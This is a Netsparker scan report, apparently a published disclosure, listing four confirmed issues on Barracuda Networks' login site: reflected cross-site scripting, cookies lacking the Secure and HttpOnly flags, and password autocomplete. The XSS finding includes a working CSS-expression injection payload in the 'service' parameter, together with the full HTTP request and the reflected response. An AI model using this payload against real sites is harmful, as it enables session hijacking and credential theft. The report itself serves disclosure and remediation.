XSS, Cross Site Scripting, Javascript Injection, login.barracudanetworks.com, CWE-79, CAPEC-86

Netsparker - Scan Report Summary

TARGET URL	https://login.barracudanetworks.com/
SCAN DATE	2/26/2011 8:22:17 AM
REPORT DATE	3/20/2011 8:25:27 AM
SCAN DURATION	00:04:36

Total Requests

Average Speed

req/sec.

identified

confirmed

critical

informational

GHDB, DORK Tests

PROFILE	Previous Settings
ENABLED ENGINES	Static Tests, Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, SQL Injection, Cross-site Scripting

Authentication

Scheduled

VULNERABILITIES Vulnerabilities
	IMPORTANT 50 % LOW 50 %

Cross-site Scripting

1 TOTAL

IMPORTANT

CONFIRMED

XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /auth/login/

/auth/login/ CONFIRMED

https://login.barracudanetworks.com/auth/login/

Parameters

Parameter	Type	Value
username	POST	Ronald Smith
password	POST	3
login_token	POST	LT-0b95aef2cef2c97a5daedca79ac8c7326fa255a3-c1d66f3d9a1b86110a85833c822cc15b
service	POST	" stYle="x:expre/**/ssion(alert(9))

Request

POST /auth/login/ HTTP/1.1
Referer: https://login.barracudanetworks.com/auth/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: login.barracudanetworks.com
Cookie: cloud_session=2hinn8i7esdmit81proas71ij2; CLOUD_AT=GL-9066b5082d4293bfd905565eb64ea4fcdcc73276-b0ba920e5bc4ea812322f20cbe83e694
Content-Length: 183
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

username=Ronald+Smith&password=3&login_token=LT-0b95aef2cef2c97a5daedca79ac8c7326fa255a3-c1d66f3d9a1b86110a85833c822cc15b&service=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+

Response

HTTP/1.0 200 OK
Date: Sat, 26 Feb 2011 14:42:16 GMT
Server: Apache
Expires: Fri, 26 Feb 2010 09:42:16 -0500
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=2hinn8i7esdmit81proas71ij2; path=/; domain=.barracudanetworks.com,cloud_session=rota12cj2mfu596dkjglpjgl81; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 2048
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Version" content="1.1.0"> <title>Sign In > Barracuda Networks</title> <link rel="stylesheet" href="https://login.barracudanetworks.com/css/?n=cloud/cloud,ultraform,cloud/api/banner&m=1291732915" type="text/css" media="screen" charset="utf-8"><link rel="stylesheet" href="https://login.barracudanetworks.com/css/?n=cloud/auth&m=1291732915" type="text/css" media="screen" charset="utf-8"><script src="https://login.barracudanetworks.com/js/?n=jquery.1.4.2,jquery.patch,jquery.ui,jquery.misc,jquery.placeholders,jquery.typingPause,jquery.metadata,jquery.mousewheel,jquery.cudascroll,jquery.eventdefer,jquery.ba-bbq,jquery.cookie,ultraform,cloud/cloud&m=1297215578" type="text/javascript" charset="utf-8"></script>   </head> <body> <script type="text/javascript" charset="utf-8"> var cloud_jquery_restore = window.jQuery; </script> <script src="https://login.barracudanetworks.com/js/?n=cloud/api/banner&m=1294240592" type="text/javascript" charset="utf-8"></script><div id="cloud_banner" class="cloud_html5_header"> <a id="cloud_logo" href="http://www.barracudanetworks.com/ns/?a=customer_portal">Barracuda Networks</a> <div id="cloud_nav" class="cloud_html5_nav"> <div id="cloud_service_links"> <div class="cloud_service_link"><a id="cloud_service_bbs">Backup<br />Service</a></div> <div class="cloud_service_link"><a id="cloud_service_pwss">Web Security<br /><i>Flex</i></a></div> <div class="cloud_service_link"><a id="cloud_service_bcc">Control<br /> Center</a></div> <div class="cloud_service_link"><a id="cloud_service_ess">Email Security<br /> Service</a></div> </div> <div id="cloud_page_links">  </div> <div id="cloud_nav_indicator"></div> </div> <div id="cloud_signin">  <div id="cloud_language"> <select id="cloud_language_widget" name="cloud_language_widget" href="https://login.barracudanetworks.com/locale/?l=" style="direction:ltr"><option value="en_US">English (US)</option><option value="ca_CA">Cantalan (Canada)</option><option value="cs_CZ">Če&scaron;tina</option><option value="da_DK">Dansk</option><option value="de_DE">Deutsch</option><option value="es_ES">Español (España)</option><option value="fr_FR">Français (France)</option><option value="hu_HU">Magyar</option><option value="ja_JP">日本語</option><option value="ko_KR">한국어</option><option value="nl_NL">Nederlands</option><option value="pl_PL">Polski</option><option value="pt_BR">Português (Brasil)</option><option value="ru_RU">Русский</option><option value="zh_CN">中文(简体)</option><option value="zh_TW">中文(台灣)</option></select> </div> </div></div> <script type="text/javascript" charset="utf-8"> window.jQuery = window.$ = cloud_jquery_restore; </script> <div id="cloud_page" class="cloud_html5_article"><div class="cloud_panel_wrapper"> <div id="cloud_panel_login" class="cloud_panel"> <div class="cloud_title"> <h2>Sign In</h2> </div> <div class="cloud_panel_body"> <div id="login_pane" class="cloud_panel_pane"> <div id="users_pane_body"> <div class="message error">The credentials you entered were invalid, please try again.</div> <form class="ultraform" name="login" action="/auth/login/" method="post" accept-charset="utf-8"> <div class="fieldGroup"> <label class="ultraform_label">Username:</label> <span><input tabindex="100" type="text" id="username" name="username" validation="required" placeholder="Username" value="Ronald Smith"></span> <div class="fieldGroupInfo"><a href="/new_account/">Create a new account.</a></div> </div> <div class="fieldGroup"> <label class="ultraform_label">Password:</label> <span><input tabindex="101" type="password" id="password" name="password" validation="required" placeholder="Password" value=""></span> <div class="fieldGroupInfo"><a href="#" onClick="window.location='/auth/new_password/?username='+encodeURIComponent(document.getElementById('username').value);return false;">Forgot your password?</a></div> </div> <div style="position: absolute; left: 25%;"> <input type="hidden" id="login_token" name="login_token" value="LT-38a70e4df03d5331bb3e37065a270e1c860789c4-dadbf363f4847d361a219c91e1392635"> <input type="hidden" id="service" name="service" value="" stYle="x:expre/**/ssion(netsparker(9)) "> <a href="javascript:$('form').submit();" class="_cloud_button" icon="key"><span>Sign In</span></a> <input type="submit" style="opacity: 0; -moz-opacity: 0; filter:alpha(opacity=0); -ms-filter:alpha(opacity=0); position: relative; z-index: -1;" /> </div> </form> </div> </div> </div> </div></div> </div> <div id="cloud_copyright">© 2011 <a href="http://www.barracudanetworks.com/ns/?a=customer_portal">Barracuda Networks</a>. All rights reserved. <a href="http://www.barracudanetworks.com/ns/privacy/">Privacy Policy</a></div> </body></html>

Cookie Not Marked As Secure

1 TOTAL

IMPORTANT

CONFIRMED

A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.

- /locale/

/locale/ CONFIRMED

https://login.barracudanetworks.com/locale/?l=

Identified Cookie

cloud_session

Request

GET /locale/?l= HTTP/1.1
Referer: https://login.barracudanetworks.com/auth/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.barracudanetworks.com
Cookie: cloud_session=auaa3v7scvkst385imcimprah4
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 302 Found
Date: Sat, 26 Feb 2011 14:37:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=auaa3v7scvkst385imcimprah4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Location: https://login.barracudanetworks.com/auth/
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 102
Connection: close
Content-Type: text/html; charset=UTF-8

<h1>302 - Found</h1><p><a href="https://login.barracudanetworks.com/auth/">https://login.barracudanetworks.com/auth/</a></p>

Auto Complete Enabled

1 TOTAL

LOW

CONFIRMED

"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

Using AutoComplete in HTML Forms

- /auth/

/auth/ CONFIRMED

https://login.barracudanetworks.com/auth/

Identified Field Name

password

Request

GET /auth/ HTTP/1.1
Referer: https://login.barracudanetworks.com/auth/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.barracudanetworks.com
Cookie: cloud_session=auaa3v7scvkst385imcimprah4
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 26 Feb 2011 14:37:57 GMT
Server: Apache
Expires: Fri, 26 Feb 2010 09:37:58 -0500
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=auaa3v7scvkst385imcimprah4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 1954
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Version" content="1.1.0"> <title>Sign In > Barracuda Networks</title> <link rel="stylesheet" href="https://login.barracudanetworks.com/css/?n=cloud/cloud,ultraform,cloud/api/banner&m=1291732915" type="text/css" media="screen" charset="utf-8"><link rel="stylesheet" href="https://login.barracudanetworks.com/css/?n=cloud/auth&m=1291732915" type="text/css" media="screen" charset="utf-8"><script src="https://login.barracudanetworks.com/js/?n=jquery.1.4.2,jquery.patch,jquery.ui,jquery.misc,jquery.placeholders,jquery.typingPause,jquery.metadata,jquery.mousewheel,jquery.cudascroll,jquery.eventdefer,jquery.ba-bbq,jquery.cookie,ultraform,cloud/cloud&m=1297215578" type="text/javascript" charset="utf-8"></script>   </head> <body> <script type="text/javascript" charset="utf-8"> var cloud_jquery_restore = window.jQuery; </script> <script src="https://login.barracudanetworks.com/js/?n=cloud/api/banner&m=1294240592" type="text/javascript" charset="utf-8"></script><div id="cloud_banner" class="cloud_html5_header"> <a id="cloud_logo" href="http://www.barracudanetworks.com/ns/?a=customer_portal">Barracuda Networks</a> <div id="cloud_nav" class="cloud_html5_nav"> <div id="cloud_service_links"> <div class="cloud_service_link"><a id="cloud_service_bbs">Backup<br />Service</a></div> <div class="cloud_service_link"><a id="cloud_service_pwss">Web Security<br /><i>Flex</i></a></div> <div class="cloud_service_link"><a id="cloud_service_bcc">Control<br /> Center</a></div> <div class="cloud_service_link"><a id="cloud_service_ess">Email Security<br /> Service</a></div> </div> <div id="cloud_page_links">  </div> <div id="cloud_nav_indicator"></div> </div> <div id="cloud_signin">  <div id="cloud_language"> <select id="cloud_language_widget" name="cloud_language_widget" href="https://login.barracudanetworks.com/locale/?l=" style="direction:ltr"><option value="en_US">English (US)</option><option value="ca_CA">Cantalan (Canada)</option><option value="cs_CZ">Če&scaron;tina</option><option value="da_DK">Dansk</option><option value="de_DE">Deutsch</option><option value="es_ES">Español (España)</option><option value="fr_FR">Français (France)</option><option value="hu_HU">Magyar</option><option value="ja_JP">日本語</option><option value="ko_KR">한국어</option><option value="nl_NL">Nederlands</option><option value="pl_PL">Polski</option><option value="pt_BR">Português (Brasil)</option><option value="ru_RU">Русский</option><option value="zh_CN">中文(简体)</option><option value="zh_TW">中文(台灣)</option></select> </div> </div></div> <script type="text/javascript" charset="utf-8"> window.jQuery = window.$ = cloud_jquery_restore; </script> <div id="cloud_page" class="cloud_html5_article"><div class="cloud_panel_wrapper"> <div id="cloud_panel_login" class="cloud_panel"> <div class="cloud_title"> <h2>Sign In</h2> </div> <div class="cloud_panel_body"> <div id="login_pane" class="cloud_panel_pane"> <div id="users_pane_body"> <form class="ultraform" name="login" action="/auth/login/" method="post" accept-charset="utf-8"> <div class="fieldGroup"> <label class="ultraform_label">Username:</label> <span><input tabindex="100" type="text" id="username" name="username" validation="required" placeholder="Username" value=""></span> <div class="fieldGroupInfo"><a href="/new_account/">Create a new account</a></div> </div> <div class="fieldGroup"> <label class="ultraform_label">Password:</label> <span><input tabindex="101" type="password" id="password" name="password" validation="required" placeholder="Password" value=""></span> <div class="fieldGroupInfo"><a href="#" onClick="window.location='/auth/new_password/?username='+encodeURIComponent(document.getElementById('username').value);return false;">Forgot your password?</a></div> </div> <div style="position: absolute; left: 25%;"> <input type="hidden" id="login_token" name="login_token" value="LT-dd970e455f4d5cef0a6f567a0c77daa67761627f-ca4db3b0d952495307d9973246fd1999"> <input type="hidden" id="service" name="service" value=""> <a href="javascript:$('form').submit();" class="_cloud_button" icon="key"><span>Sign In</span></a> <input type="submit" style="opacity: 0; -moz-opacity: 0; filter:alpha(opacity=0); -ms-filter:alpha(opacity=0); position: relative; z-index: -1;" /> </div> </form> </div> </div> </div> </div></div> </div> <div id="cloud_copyright">© 2011 <a href="http://www.barracudanetworks.com/ns/?a=customer_portal">Barracuda Networks</a>. All rights reserved. <a href="http://www.barracudanetworks.com/ns/privacy/">Privacy Policy</a></div> </body></html>

Cookie Not Marked As HttpOnly

1 TOTAL

LOW

CONFIRMED

Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

XSS, Cross Site Scripting, Javascript Injection, login.barracudanetworks.com, CWE-79, CAPEC-86

Total Requests

Average Speed

GHDB, DORK Tests

VULNERABILITIES

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/auth/login/ CONFIRMED

Parameters

Request

Response

Cookie Not Marked As Secure

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

/locale/ CONFIRMED

Identified Cookie

Request

Response

Auto Complete Enabled

Impact

Remedy

Actions to Take

Required Skills for Successful Exploitation

External References

/auth/ CONFIRMED

Identified Field Name

Request

Response

Cookie Not Marked As HttpOnly

Impact

Actions to Take

Remedy

External References

/locale/ CONFIRMED

Identified Cookie

Request

Response